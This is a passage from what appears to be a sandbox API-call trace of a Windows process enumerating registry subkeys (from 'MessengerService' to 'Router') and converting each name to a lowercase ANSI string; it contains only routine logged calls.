lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x35, lpName=0x49b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x49c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0221.702] RegEnumKeyW (in: hKey=0x38, dwIndex=0x36, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0221.702] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x49c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x37, lpName=0x49b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x49c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x38, lpName=0x49b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x39, lpName=0x49b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3a, lpName=0x49b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3b, lpName=0x49b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0221.703] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3c, lpName=0x49b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.703] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3d, lpName=0x49b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3e, lpName=0x49b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x49b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x49b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x49c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x49b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0221.704] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x49b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.704] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x49b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x49b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x49c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x49b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x49b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x49b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x49c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x49b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0221.705] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x49b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x49b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x49c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x49b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x49c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x49b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x49c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x49b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x49b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x49b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0221.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x49c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0221.706] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x49b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x49b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x49c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x49b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x49b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x49c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x49b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x49b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x49b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0221.707] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x49b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x49b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x49c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x49b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x49c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x49b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0221.708] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x49b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0221.708] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0221.708] 